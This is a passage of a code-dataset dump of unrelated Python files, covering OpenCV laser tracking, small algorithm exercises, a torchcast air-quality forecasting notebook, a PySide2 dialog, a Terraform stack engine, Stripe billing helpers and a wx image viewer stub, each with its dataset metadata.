int(M[\"m01\"] / M[\"m00\"])\r\n else:\r\n #cX, cY = 0, 0\r\n cX = int(M[\"m10\"] / (M[\"m00\"] + 1))\r\n cY = int(M[\"m01\"] / (M[\"m00\"] + 1))\r\n \r\n center = (cX, cY) #liste der koordinaten\r\n center_shifted = (cX - frame_width / 2, cY - frame_height / 2)\r\n time_stamp = (round(cX / 5, 1), round(cY / 5, 1), timenow)\r\n \r\n pts.appendleft(center) #fuegt den aktellen koordinatensatz in das deque ein (laenge der liste = buffer)\r\n data.append(time_stamp)\r\n\r\n x_array.append(int(cX))\r\n y_array.append(int(cY))\r\n t_array.append(timenow)\r\n\r\n x_pltarr = x_array\r\n y_pltarr = y_array\r\n t_pltarr = t_array\r\n\r\n #Linien malen\r\n for i in range(1, len(pts)):\r\n if pts[i - 1] is None or pts[i] is None:\r\n continue\r\n \r\n thickness = int(1)\r\n cv2.line(frame, (pts[i - 1]), (pts[i]), (0, 0, 255), thickness)\r\n \r\n # Overlay auf die verschiedenen Fenster\r\n cv2.line(frame, (int(frame_center_x - 5), int(frame_center_y)), (int(frame_center_x + 5), int(frame_center_y)), (255, 0, 0), 1)\r\n cv2.line(frame, (int(frame_center_x), int(frame_center_y - 5)), (int(frame_center_x), int(frame_center_y + 5)), (255, 0, 0), 1)\r\n cv2.rectangle(frame, (280, 0), (1000, 720), (0, 255, 0), 2)\r\n cv2.circle(frame, (frame_width - 7, frame_height - 7), 7, (255, 0, 0), 1) # kreis unten rechts\r\n cv2.putText(frame, \"Laser\", (cX - 25, cY - 25), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2)\r\n cv2.putText(frame, str(center_shifted), (0, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 1)\r\n cv2.putText(frame, str(framesize_str), (0, (frame_height - 25)), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 0, 255), 2)\r\n\r\n\r\n resized = cv2.resize(frame, (1280, 720), interpolation = cv2.INTER_AREA)\r\n cv2.imshow(\"Resized frame\", resized) #öffnet fenster mit bild\r\n #cv2.imshow(\"Gray\", gray)\r\n # cv2.imshow(\"Mask\", mask)\r\n\r\n out.write(frame)\r\n\r\n \r\n if cv2.waitKey(1) == 27 or timenow >= 20.0: #ESC taste um aus schleife zu kommen (endet auch automatisch nach ende des videos)\r\n csvname = input(\"Enter .csv Name: \")\r\n with open(\"coords.csv\", newline='', mode=\"w\") as coords_csv:\r\n for i in range(0, len(pts)):\r\n csv_writer = csv.writer(coords_csv, delimiter=\",\", quotechar='\"', quoting=csv.QUOTE_MINIMAL)\r\n csv_writer.writerow(pts[i])\r\n with open(\"{}.csv\".format(csvname), newline='', mode=\"w\") as timestamp_csv:\r\n for i in range(0, len(data)): \r\n csv_writer = csv.writer(timestamp_csv, delimiter=\",\", quotechar='\"', quoting=csv.QUOTE_MINIMAL)\r\n csv_writer.writerow(data[i])\r\n break\r\n print(data)\r\n\r\n # video aus\r\n video.release()\r\n cv2.destroyAllWindows()\r\n \r\nif plots_enable is 1:\r\n\r\n fig_xyt = plt.figure()\r\n ax1 = fig_xyt.add_subplot(3, 1, 1)\r\n ax2 = fig_xyt.add_subplot(3, 1, 2)\r\n\r\n ax1.plot(t_pltarr, x_pltarr)\r\n ax2.plot(t_pltarr, y_pltarr)\r\n\r\n ax1.set_title(\"X-Auslenkung ueber Zeit\")\r\n ax1.set_xlabel(\"Sekunden\")\r\n ax1.set_ylabel(\"Pixel\")\r\n ax2.set_title(\"Y-Auslenkung ueber Zeit\")\r\n ax2.set_xlabel(\"Sekunden\")\r\n ax2.set_ylabel(\"Pixel\")\r\n\r\n # Achsenrange definieren\r\n trange_min = timenow - 30\r\n if trange_min < 0:\r\n trange_min = 0\r\n\r\n ax1.axis([trange_min, timenow, min(x_pltarr) - 10, max(x_pltarr) +10])\r\n ax2.axis([trange_min, timenow, min(y_pltarr) - 10, max(y_pltarr) +10])\r\n\r\n plt.subplots_adjust(hspace=2)\r\n\r\n plt.show()","sub_path":"Python_Scripts/tracking.py","file_name":"tracking.py","file_ext":"py","file_size_in_byte":5623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"512873785","text":"#find elements in common lists\r\nl1=[1,2,3,4,5]\r\nl2=[2,5,6,7,8]\r\n\r\ncount=0\r\nfor i in l1:\r\n for j in l2:\r\n if i==j:\r\n print(i)\r\n count=count+1\r\nprint('the number of common elements',count)\r\n\r\n#randomly choose l1 and l2\r\nimport random\r\nl1=list(range(100))\r\nrandom.shuffle(l1)\r\nl2=list(range(50))\r\nrandom.shuffle(l2)\r\n\r\ncount=0\r\nfor i in l1:\r\n for j in l2:\r\n if i==j:\r\n print(i,end='.')\r\n count=count+1\r\n \r\nprint('\\nThe number of common elements',count)\r\n\r\n#using dictinary\r\n#property of dictinary is time complexity is less order(1)\r\nimport random\r\nl1=list(range(100))\r\nrandom.shuffle(l1)\r\nl2=list(range(50))\r\nrandom.shuffle(l2)\r\n\r\nd={}\r\nfor ele in l2:\r\n d[ele] = 1;\r\n \r\ncount=0\r\nfor i in l1:\r\n if d.get(i)!=None:\r\n print(i,end=',')\r\n count=count+1\r\n \r\nprint('\\nNumber of common elements:',count)\r\n\r\n\r\n\r\n ","sub_path":"Python_Problem_Practise/coommon_elements_in_lists.py","file_name":"coommon_elements_in_lists.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"173252791","text":"#\n# @lc app=leetcode.cn id=347 lang=python3\n#\n# [347] 前 K 个高频元素\n#\n\n# @lc code=start\n\nfrom heapq import heappush, heappop\n\nclass Solution:\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n data = {}\n for num in nums:\n data[num] = data.get(num, 0) + 1\n h = []\n for num, count in data.items():\n heappush(h, [-count, num])\n return [heappop(h)[1] for i in range(k)]\n# @lc code=end\n\n","sub_path":"Week02/347.前-k-个高频元素.py","file_name":"347.前-k-个高频元素.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"348646938","text":"# ---\n# jupyter:\n# jupytext:\n# cell_metadata_json: true\n# formats: py:light\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.6.0\n# ---\n\n# + {\"nbsphinx\": \"hidden\"}\nimport torch\nimport copy\n\nfrom torchcast.utils.datasets import load_air_quality_data\nfrom torchcast.kalman_filter import KalmanFilter\nfrom torchcast.utils.data import TimeSeriesDataset\n\nimport numpy as np\nimport pandas as pd\n\nnp.random.seed(2021-1-21)\ntorch.manual_seed(2021-1-21)\n# -\n\n# # Multivariate Forecasts: Beijing Multi-Site Air-Quality Data\n#\n# We'll demonstrate several features of `torchcast` using a dataset from the [UCI Machine Learning Data Repository](https://archive.ics.uci.edu/ml/datasets/Beijing+Multi-Site+Air-Quality+Data). It includes data on air pollutants and weather from 12 sites.\n\n# + {\"tags\": [\"remove_cell\"]}\ndf_aq = load_air_quality_data('weekly')\n\nSPLIT_DT = np.datetime64('2016-02-22')\n\ndf_aq\n\n# + [markdown] {\"hidePrompt\": true}\n# ### Univariate Forecasts\n#\n# Let's try to build a model to predict total particulate-matter (PM2.5 and PM10). \n#\n# First, we'll make our target the sum of these two types. We'll log-transform since this is strictly positive.\n\n# +\nfrom torchcast.process import LocalTrend, Season\n\n# create a dataset:\ndf_aq['PM'] = df_aq['PM10'] + df_aq['PM2p5'] \ndf_aq['PM_log10'] = np.log10(df_aq['PM']) \ndataset_pm_univariate = TimeSeriesDataset.from_dataframe(\n dataframe=df_aq,\n dt_unit='W',\n measure_colnames=['PM_log10'],\n group_colname='station', \n time_colname='week'\n)\ndataset_pm_univariate_train, _ = dataset_pm_univariate.train_val_split(dt=SPLIT_DT)\n\n# create a model:\nkf_pm_univariate = KalmanFilter(\n measures=['PM_log10'], \n processes=[\n LocalTrend(id='trend'),\n Season(id='day_in_year', period=365.25 / 7, dt_unit='W', K=5)\n ]\n)\n\n# fit:\nkf_pm_univariate.fit(\n dataset_pm_univariate_train.tensors[0],\n start_offsets=dataset_pm_univariate_train.start_datetimes\n)\n\n\n# -\n\n# Let's see how our forecasts look:\n\n# +\n# helper for transforming log back to original:\ndef inverse_transform(df):\n df = df.copy(deep=False)\n # bias-correction for log-transform (see https://otexts.com/fpp2/transformations.html#bias-adjustments)\n df['mean'] += .5 * (df['upper'] - df['lower']) / 1.96 ** 2\n # inverse the log10:\n df[['actual', 'mean', 'upper', 'lower']] = 10 ** df[['actual', 'mean', 'upper', 'lower']]\n df['measure'] = df['measure'].str.replace('_log10', '')\n return df\n\n# generate forecasts:\nforecast = kf_pm_univariate(\n dataset_pm_univariate_train.tensors[0],\n start_offsets=dataset_pm_univariate_train.start_datetimes,\n out_timesteps=dataset_pm_univariate.tensors[0].shape[1]\n)\n\ndf_forecast = inverse_transform(forecast.to_dataframe(dataset_pm_univariate))\nprint(forecast.plot(df_forecast, max_num_groups=3, split_dt=SPLIT_DT))\n# -\n\n# #### Evaluating Performance: Expanding Window\n#\n#\n# To evaluate our forecasts, we will not use the long-range forecasts above. Instead, we will use an [expanding window](https://eng.uber.com/forecasting-introduction#:~:text=Comparing) approach to evaluate a shorter forecast horizon. In this approach, we generate N-step-ahead forecasts at every timepoint:\n#\n# ![title](expanding_window.png)\n#\n#\n# This approach is straightforward in `torchcast`, using the `n_step` argument. Here we'll generate 4-week-ahead predictions. Note that we're still separating the validation time-period.\n\n# +\nwith torch.no_grad():\n pred_4step = kf_pm_univariate(\n dataset_pm_univariate.tensors[0],\n start_offsets=dataset_pm_univariate.start_datetimes,\n n_step=4\n )\n\ndf_univariate_error = pred_4step.\\\n to_dataframe(dataset_pm_univariate, group_colname='station', time_colname='week').\\\n pipe(inverse_transform).\\\n merge(df_aq.loc[:,['station', 'week', 'PM']]).\\\n assign(\n error = lambda df: np.abs(df['mean'] - df['actual']),\n validation = lambda df: df['week'] > SPLIT_DT\n ).\\\n groupby(['station','validation'])\\\n ['error'].mean().\\\n reset_index()\ndf_univariate_error.groupby('validation')['error'].agg(['mean','std'])\n# -\n\n# ### Multivariate Forecasts\n#\n# Can we improve our model by splitting the pollutant we are forecasting into its two types (2.5 and 10), and modeling them in a multivariate manner?\n\n# +\n# create a dataset:\ndf_aq['PM10_log10'] = np.log10(df_aq['PM10'])\ndf_aq['PM2p5_log10'] = np.log10(df_aq['PM2p5'])\ndataset_pm_multivariate = TimeSeriesDataset.from_dataframe(\n dataframe=df_aq,\n dt_unit='W',\n measure_colnames=['PM10_log10','PM2p5_log10'],\n group_colname='station', \n time_colname='week'\n)\ndataset_pm_multivariate_train, _ = dataset_pm_multivariate.train_val_split(dt=SPLIT_DT)\n\n# create a model:\n_processes = []\nfor m in dataset_pm_multivariate.measures[0]:\n _processes.extend([\n LocalTrend(id=f'{m}_trend', measure=m),\n Season(id=f'{m}_day_in_year', period=365.25 / 7, dt_unit='W', K=5, measure=m)\n ])\nkf_pm_multivariate = KalmanFilter(measures=dataset_pm_multivariate.measures[0], processes=_processes)\n\n# fit:\nkf_pm_multivariate.fit(\n dataset_pm_multivariate_train.tensors[0],\n start_offsets=dataset_pm_multivariate_train.start_datetimes\n)\n# -\n# We can generate our 4-step-ahead predictions for validation as we did before:\n\nwith torch.no_grad():\n pred_4step = kf_pm_multivariate(\n dataset_pm_multivariate.tensors[0],\n start_offsets=dataset_pm_multivariate.start_datetimes,\n n_step=4\n )\npred_4step.means.shape\n\n# At this point, though, we run into a problem: we we have forecasts for both PM2.5 and PM10, but we ultimately want a forecast for their *sum*. With untransformed data, we could take advantage of the fact that [sum of correlated normals is still normal](https://en.wikipedia.org/wiki/Sum_of_normally_distributed_random_variables#Correlated_random_variables):\n\ntorch.sum(pred_4step.means, 2)\n\n# In our case this unfortunately won't work: we have log-transformed our measures. This seems like it was the right choice (i.e. our residuals look reasonably normal and i.i.d):\n\npred_4step.plot(pred_4step.to_dataframe(dataset_pm_multivariate, type='components').query(\"process=='residuals'\"))\n\n# In this case, we **can't take the sum of our forecasts to get the forecast of the sum**, and [there's no simple closed-form expression for the sum of lognormals](https://scholar.google.com/scholar?hl=en&as_sdt=0%2C14&q=SUMS+OF+LOGNORMALS&btnG=).\n#\n# One option that is fairly easy in `torchcast` is to use a [Monte-Carlo](https://en.wikipedia.org/wiki/Monte_Carlo_method) approach: we'll just generate random-samples based on the means and covariances underlying our forecast. In that case, the sum of the PM2.5 + PM10 forecasted-samples *is* the forecasted PM sum we are looking for:\n\n# +\n# generate draws from the forecast distribution:\nmc_draws = 10 ** torch.distributions.MultivariateNormal(*pred_4step).rsample((500,))\n# sum across 2.5 and 10, then mean across draws:\nmc_predictions = mc_draws.sum(-1, keepdim=True).mean(0)\n \n# convert to a dataframe and summarize error:\n_df_pred = TimeSeriesDataset.tensor_to_dataframe(\n mc_predictions, \n times=dataset_pm_multivariate.times(),\n group_names=dataset_pm_multivariate.group_names,\n group_colname='station',\n time_colname='week',\n measures=['predicted']\n) \ndf_multivariate_error = _df_pred.\\\n merge(df_aq.loc[:,['station', 'week', 'PM']]).\\\n assign(\n error = lambda df: np.abs(df['predicted'] - df['PM']),\n validation = lambda df: df['week'] > SPLIT_DT\n ).\\\n groupby(['station','validation'])\\\n ['error'].mean().\\\n reset_index()\ndf_multivariate_error.groupby('validation')['error'].agg(['mean','std'])\n# -\n\n# We see that this approach has reduced our error: substantially in the training period, and moderately in the validation period. We can look at the per-site differences to reduce common sources of noise and see that the reduction is consistent (it holds for all but one site):\n\ndf_multivariate_error.\\\n merge(df_univariate_error, on=['station', 'validation']).\\\n assign(error_diff = lambda df: df['error_x'] - df['error_y']).\\\n boxplot('error_diff', by='validation')\n\n\n","sub_path":"docs/examples/air_quality.py","file_name":"air_quality.py","file_ext":"py","file_size_in_byte":8271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"204128734","text":"import unittest\n# From: https://eli.thegreenplace.net/2011/08/02/python-unit-testing-parametrized-test-cases\nclass ParametrizedTestCase(unittest.TestCase):\n \"\"\" TestCase classes that want to be parametrized should\n inherit from this class.\n \"\"\"\n def __init__(self, methodName='runTest', param=None):\n super(ParametrizedTestCase, self).__init__(methodName)\n self.param = param\n\n @staticmethod\n def parametrize(testcase_klass, param=None):\n \"\"\" Create a suite containing all tests taken from the given\n subclass, passing them the parameter 'param'.\n \"\"\"\n testloader = unittest.TestLoader()\n testnames = testloader.getTestCaseNames(testcase_klass)\n suite = unittest.TestSuite()\n for name in testnames:\n suite.addTest(testcase_klass(name, param=param))\n return suite\n \n# Test Data\nimport jgrapht\n\ng1 = jgrapht.create_graph(directed=False, weighted=True)\ng1.add_vertices_from([x for x in range(0,4)])\ng1.add_edge(0,1,edge=0)\ng1.add_edge(0,2,edge=1)\ng1.add_edge(0,3,edge=2)\ng1.add_edge(1,3,edge=3)\ng1.add_edge(2,3,edge=4)\ng1.set_edge_weight(0,10)\n\n# Grafo não direcionado conectado\ng2 = jgrapht.create_graph(directed=False, weighted=True)\ng2.add_vertices_from([x for x in range(9)])\ng2.add_edge(0,1,edge=0)\ng2.add_edge(0,2,edge=1)\ng2.add_edge(1,3,edge=2)\ng2.add_edge(1,8,edge=3)\ng2.add_edge(2,7,edge=4)\ng2.add_edge(2,6,edge=5)\ng2.add_edge(2,4,edge=6)\ng2.add_edge(3,5,edge=7)\ng2.add_edge(6,7,edge=8)\ng2.add_edge(7,8,edge=9)\ng2.add_edge(5,1,edge=10)\ng2.set_edge_weight(10,10)\n\ng3 = jgrapht.create_graph(directed=False, weighted=True)\n\nclass Test_quarteiroes(ParametrizedTestCase):\n\n def test_valid01 (self):\n f,g,l,expected = self.param\n try:\n sresult = map(lambda x : sorted(x),f(g,l))\n self.assertCountEqual(sresult,expected)\n except:\n self.assertTrue(f(g,l) is None and (g is None or l < 0))\n\nparams = [[g1,11,[[0,1,3],[0,2,3]]],\n [g1,1,[[0,2,3]]],\n [g1,0,[]],\n [g2,1,[[2,6,7]]],\n [g2,10,[[1,3,5],[2,6,7]]],\n [g3,20,[]],\n [None,9,None],\n [g1,-5,None],\n ]\n","sub_path":"src/test/java/epgs/Test_quarteiroes.py","file_name":"Test_quarteiroes.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"551727608","text":"from PySide2 import QtCore, QtWidgets\nimport glob, sys, os\nfrom eqt.ui import UIFormFactory, FormDialog\n\nclass MainUI(QtWidgets.QMainWindow):\n\n def __init__(self, parent = None):\n QtWidgets.QMainWindow.__init__(self, parent)\n \n pb = QtWidgets.QPushButton(self)\n pb.setText(\"Open Dialog with form layout\")\n pb.clicked.connect(lambda: self.openFormDialog())\n \n layout = QtWidgets.QHBoxLayout()\n layout.addWidget(pb)\n widg = QtWidgets.QWidget()\n widg.setLayout(layout)\n\n self.setCentralWidget(widg)\n\n self.show()\n \n def openFormDialog(self):\n \n dialog = FormDialog(parent=self, title='Example')\n dialog.Ok.clicked.connect(lambda: self.accepted())\n dialog.Cancel.clicked.connect(lambda: self.rejected())\n \n ### Example on how to add elements to the \n # add input 1 as QLineEdit\n qlabel = QtWidgets.QLabel(dialog.groupBox)\n qlabel.setText(\"Input 1: \")\n qwidget = QtWidgets.QLineEdit(dialog.groupBox)\n qwidget.setClearButtonEnabled(True)\n # finally add to the form widget\n dialog.addWidget(qwidget, qlabel, 'input1')\n\n # add input 2 as QComboBox\n qlabel = QtWidgets.QLabel(dialog.groupBox)\n qlabel.setText(\"Input 2: \")\n qwidget = QtWidgets.QComboBox(dialog.groupBox)\n qwidget.addItem(\"option 1\")\n qwidget.addItem(\"option 2\")\n qwidget.setCurrentIndex(0)\n qwidget.setEnabled(True)\n # finally add to the form widget\n dialog.addWidget(qwidget, qlabel, 'input2')\n\n # store a reference\n self.dialog = dialog\n \n dialog.exec()\n \n def accepted(self):\n print (\"accepted\")\n print (self.dialog.widgets['input1_field'].text())\n print (self.dialog.widgets['input2_field'].currentText())\n \n self.dialog.close()\n def rejected(self):\n print (\"rejected\")\n self.dialog.close()\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication(sys.argv)\n \n window = MainUI()\n \n sys.exit(app.exec_())","sub_path":"examples/dialog_example_2.py","file_name":"dialog_example_2.py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"597712390","text":"import numpy as numpy\nimport cv2\nimport sys\n\n\nif len(sys.argv) != 3 or (sys.argv[1] != '-file' and sys.argv[1] != '-folder'):\n print(\"Write -file FILEPATH for one image and -folder FOLDERPATH for folder\\nex) python csv_to_boxed_image.py -folder data/coco\")\n exit(0)\nif sys.argv[1] == '-folder' and sys.argv[2][-1] != '/':\n sys.argv[2] = sys.argv[2] + '/'\n\nif (sys.argv[1] == '-file'):\n img_file_path = sys.argv[2]\n img = cv2.imread(img_file_path)\n height, width, channels = img.shape \n # cv2.rectangle(img, (250, 70), (330, 150), (0, 255, 0), 4)\n cv2.rectangle(img, (int(0.2248*width), int( 0.0018*height)), (int(0.4889*width), int(0.8249*height)), (0, 255, 0), 4)\n cv2.imwrite('rectangle.jpg', img)\n # 0.669474 0.0016 0.3786 0.4380","sub_path":"draw_box_example.py","file_name":"draw_box_example.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"624755306","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport abc\nimport json\nfrom .terraform import (\n terraform_create,\n terraform_show,\n terraform_apply,\n terraform_destroy,\n terraform_version,\n)\nfrom ..consts import StackStatus\nfrom ..models import EngineType, ClientInformation, CloudProvider\nimport logging\n\nlog = logging.getLogger(__name__)\n\n# Expires in seconds for task of executing stack if not consumed\nDEFAULT_EXPIRES = 600\n\n# Timeout in seconds for executing stack\nDEFAULT_TIMEOUT = 300\n\n\nclass StackEngine(metaclass=abc.ABCMeta):\n\n def __init__(self, stack):\n self.stack = stack\n\n @staticmethod\n def get_engine(stack):\n engine_type = stack.template_version.engine\n if engine_type == EngineType.TERRAFORM:\n return TerraformEngine(stack)\n else:\n raise TypeError('%s is not supported engine type' % engine_type)\n\n @staticmethod\n def get_engine_class(engine_type):\n if engine_type == EngineType.TERRAFORM:\n return TerraformEngine\n else:\n raise TypeError('%s is not supported engine type' % engine_type)\n\n def create(self, *args, **kwargs):\n raise NotImplementedError\n\n def update(self, *args, **kwargs):\n raise NotImplementedError\n\n def resources(self, *args, **kwargs):\n raise NotImplementedError\n\n def destroy(self, *args, **kwargs):\n raise NotImplementedError\n\n @classmethod\n def get_version(cls):\n raise NotImplementedError\n\n # def compare(self):\n # raise NotImplementedError\n\n\nclass TerraformEngine(StackEngine):\n\n #TODO: check if stack is terraform-locked first\n\n @classmethod\n def get_version(cls):\n try:\n ver_str = terraform_version()\n except Exception as e:\n log.exception(e)\n ver_str = \"Fail to obtain version\"\n\n return ver_str\n\n def create(self, timeout=DEFAULT_TIMEOUT, expires=DEFAULT_EXPIRES, sync=False):\n stack = self.stack\n terraform_create(stack)\n with_init = stack.status < StackStatus.INITIALIZE_SUCCESS\n\n provider_access = self._get_provider_access()\n signature = terraform_apply(stack, with_init=with_init, timeout=timeout, provider_access=provider_access)\n if sync:\n log.info('Creating stack %s(%s) synchronously.' % (stack.uuid, stack.name))\n output = signature(expires=expires)\n return output\n else:\n task = signature.apply_async(expires=expires)\n log.info('Creating stack %s(%s) in task %s' % (stack.uuid, stack.name, task.id))\n # log.debug('task inf: %s, parent:%s, child:%s' % (task.info, task.parent, task.children))\n return task\n\n def update(self, timeout=DEFAULT_TIMEOUT, expires=DEFAULT_EXPIRES, sync=False):\n stack = self.stack\n with_init = stack.status < StackStatus.INITIALIZE_SUCCESS\n provider_access = self._get_provider_access()\n signature = terraform_apply(stack, with_init, timeout=timeout, provider_access=provider_access)\n if sync:\n log.info('Updating stack %s(%s) synchronously.' % (stack.uuid, stack.name))\n output = signature(expires=expires)\n return output\n else:\n task = signature.apply_async(expires=expires)\n log.info('Updating stack %s(%s) in task %s' % (stack.uuid, stack.name, task.id))\n return task\n\n # def resources(self, timeout=DEFAULT_TIMEOUT, expires=DEFAULT_EXPIRES):\n # stack = self.stack\n # log.info('retrieve resources of %s' % stack)\n # res = terraform_show(stack, expires=expires)\n # # print(res)\n #\n # tplname = stack.template_version.template.name\n # if tplname == 'list_region':\n # onboard = self._get_onboard_info()\n # allow_regions = onboard.get('regions')\n # log.debug('Template \"list_region\" allows %s regions.' % (allow_regions or \"all\"))\n #\n # regions = []\n # if allow_regions:\n # try:\n # for v in res['data.alicloud_regions.regions']['alicloud_regions']:\n # if v['id'] in allow_regions:\n # regions.append(v)\n # except KeyError as e:\n # raise Exception('list_region got unexpected states key: ' + str(e))\n # except Exception as e:\n # log.exception(e)\n # raise\n # res['data.alicloud_regions.regions']['alicloud_regions'] = regions\n #\n # elif tplname == 'list_zone':\n # onboard = self._get_onboard_info()\n # allow_zones = onboard.get('zones')\n # log.debug('Template \"list_zone\" allows %s zones.' % (allow_zones or \"all\"))\n #\n # zones = []\n # if allow_zones:\n # try:\n # for v in res['data.alicloud_zones.zones']['alicloud_zones']:\n # if v['id'] in allow_zones:\n # zones.append(v)\n # except KeyError as e:\n # raise Exception('list_zone got unexpected states key: ' + str(e))\n # except Exception as e:\n # log.exception(e)\n # raise\n # res['data.alicloud_zones.zones']['alicloud_zones'] = zones\n #\n # return res\n\n def resources(self, timeout=DEFAULT_TIMEOUT, expires=DEFAULT_EXPIRES):\n stack = self.stack\n log.info('retrieve resources of %s' % stack)\n res = terraform_show(stack, expires=expires)\n # print(res)\n\n tplname = stack.template_version.template.name\n if tplname == 'list_region':\n onboard = self._get_onboard_info()\n allow_regions = onboard.get('regions')\n log.debug('Template \"list_region\" allows %s regions.' % (allow_regions or \"all\"))\n\n regions = []\n if allow_regions:\n try:\n for v in res:\n if v['id'] in allow_regions:\n regions.append(v)\n except KeyError as e:\n raise Exception('list_region got unexpected states key: ' + str(e))\n except Exception as e:\n log.exception(e)\n raise\n res = regions\n\n elif tplname == 'list_zone':\n onboard = self._get_onboard_info()\n allow_zones = onboard.get('zones')\n log.debug('Template \"list_zone\" allows %s zones.' % (allow_zones or \"all\"))\n\n zones = []\n if allow_zones:\n try:\n for v in res:\n print (v['id'])\n if v['id'] in allow_zones:\n zones.append(v)\n except KeyError as e:\n raise Exception('list_zone got unexpected states key: ' + str(e))\n except Exception as e:\n log.exception(e)\n raise\n res = zones\n\n return res\n\n def destroy(self, timeout=DEFAULT_TIMEOUT, expires=DEFAULT_EXPIRES, sync=False):\n stack = self.stack\n #TODO: add a delete-lock to destory. Confirm then can delete.\n\n provider_access = self._get_provider_access()\n signature = terraform_destroy(stack, timeout=timeout, provider_access=provider_access)\n if sync:\n log.info('Destroying stack %s(%s) synchronously.' % (stack.uuid, stack.name))\n output = signature(expires=expires)\n return output\n else:\n task = signature.apply_async(expires=expires)\n log.info('Destroying stack %s(%s) in task %s' % (stack.uuid, stack.name, task.id))\n return task\n\n def _get_provider_access(self):\n user = self.stack.owner\n provider = self.stack.template_version.provider\n try:\n clinfo = ClientInformation.objects.get(user=user)\n except ClientInformation.DoesNotExist:\n raise ClientInformation.DoesNotExist('User \"%s\" is not onboard.' % user.username)\n\n access = {}\n if provider == CloudProvider.ALI:\n key = clinfo.alicloud_access_key\n secret = clinfo.alicloud_access_secret\n account = clinfo.alicloud_account\n if not (key and secret and account):\n raise Exception('User \"%s\" does not have enough access information to \"%s\".' % (\n user.username, CloudProvider.get_text(provider)))\n\n access = {\n 'ALICLOUD_ACCESS_KEY': key,\n 'ALICLOUD_SECRET_KEY': secret,\n 'ALICLOUD_USER_ID': account\n }\n else:\n raise Exception('\"%s\" is not supported cloud provider.')\n\n return access\n\n def _get_onboard_info(self):\n # hard-code for customer onboard-ed information\n # business logic in engine layer...\n user = self.stack.owner\n try:\n clinfo = ClientInformation.objects.get(user=user)\n except ClientInformation.DoesNotExist:\n raise ClientInformation.DoesNotExist('User \"%s\" is not onboard.' % user.username)\n\n log.debug('OnBoard info of user \"%s\": %s' % (user.username, clinfo.onboard))\n onboard = json.loads(clinfo.onboard)\n return onboard\n\n__all__ = [\n StackEngine,\n TerraformEngine,\n]","sub_path":"cpsapi/engine/stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":9447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"560516540","text":"from .createjobs import createJob\nimport mtlogging\n\n\ndef execute(\n proc,\n _container=None,\n _use_cache=True,\n _skip_failing=None,\n _skip_timed_out=None,\n _force_run=None,\n _keep_temp_files=None,\n _label=None,\n **kwargs\n):\n job = createJob(proc, _container=_container, _use_cache=_use_cache, _skip_failing=_skip_failing, _skip_timed_out=_skip_timed_out, _force_run=_force_run, _keep_temp_files=_keep_temp_files, _label=_label, _verbose=False, **kwargs)\n result = job.execute()\n return result\n","sub_path":"mountaintools/mlprocessors/execute.py","file_name":"execute.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"29686716","text":"import stripe\nimport time\nimport datetime\nfrom django.conf import settings\n\nstripe.api_key = settings.STRIPE_PUBLIC_KEY\n\ndef create_customer(business, **customer_data):\n customer = stripe.Customer.create(**customer_data)\n customer.subscriptions.create(plan=\"monthly_plan\")\n business.stripe_id = customer.customer_id\n business.save()\n\ndef delete_customer(customer_id):\n customer = stripe.Customer.retrieve({customer_id})\n customer.delete()\n\ndef create_invoice_item(business, quantity):\n stripe.InvoiceItem.create(\n customer=business.stripe_id,\n amount=business.rate * quantity,\n currency=business.currency,\n description=str(business.last_invoice_item) + \"-\" + str(datetime.datetime.now()) + \": Charged for \" + str(\n quantity) + \" transactions\",\n )\n\ndef get_subscription(business):\n return stripe.Subscription.retrieve(business.stripe_id)\n\ndef get_invoices(customer_id, year):\n customer = stripe.Customer.retrieve({customer_id})\n starting_after = str(year) + '-01-01'\n end_before = str(year + 1) + '-01-01'\n response = customer.invoices(starting_after=starting_after, end_before=end_before)\n return response\n\ndef retrieve_next_billing_date(customer_id):\n customer = stripe.Customer.retrieve({customer_id})\n response = customer.subscriptions.retrieve()\n subscription = response[0]\n billing_date_since_epoch = subscription['current_period_end']\n return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(billing_date_since_epoch))\n\n","sub_path":"ageverifier/payment.py","file_name":"payment.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"550974201","text":"# -*- coding: utf-8 -*-\n#py.bat 3iv.py 10 C:\\Users\\alex_\\OneDrive\\Pictures\\Sony7rM4\\55mm\\protest\\1-20-2019\\insta_base jpg\n\nimport glob\nimport os, sys, math\nimport wx\nimport cv2\nimport numpy as np\nfrom pubsub import pub \nfrom pprint import pprint as pp\nimport cv2\nfrom six import unichr\nfrom include.utils import TransparentText, keyMap\nfrom ui.iv.view.ViewerPanel import ViewerPanel\ne=sys.exit\n\n\n\nimport wx.lib.buttons\n\nimport speedmeter.SpeedMeter as SM\nfrom math import pi, sqrt\n\n\n\nif 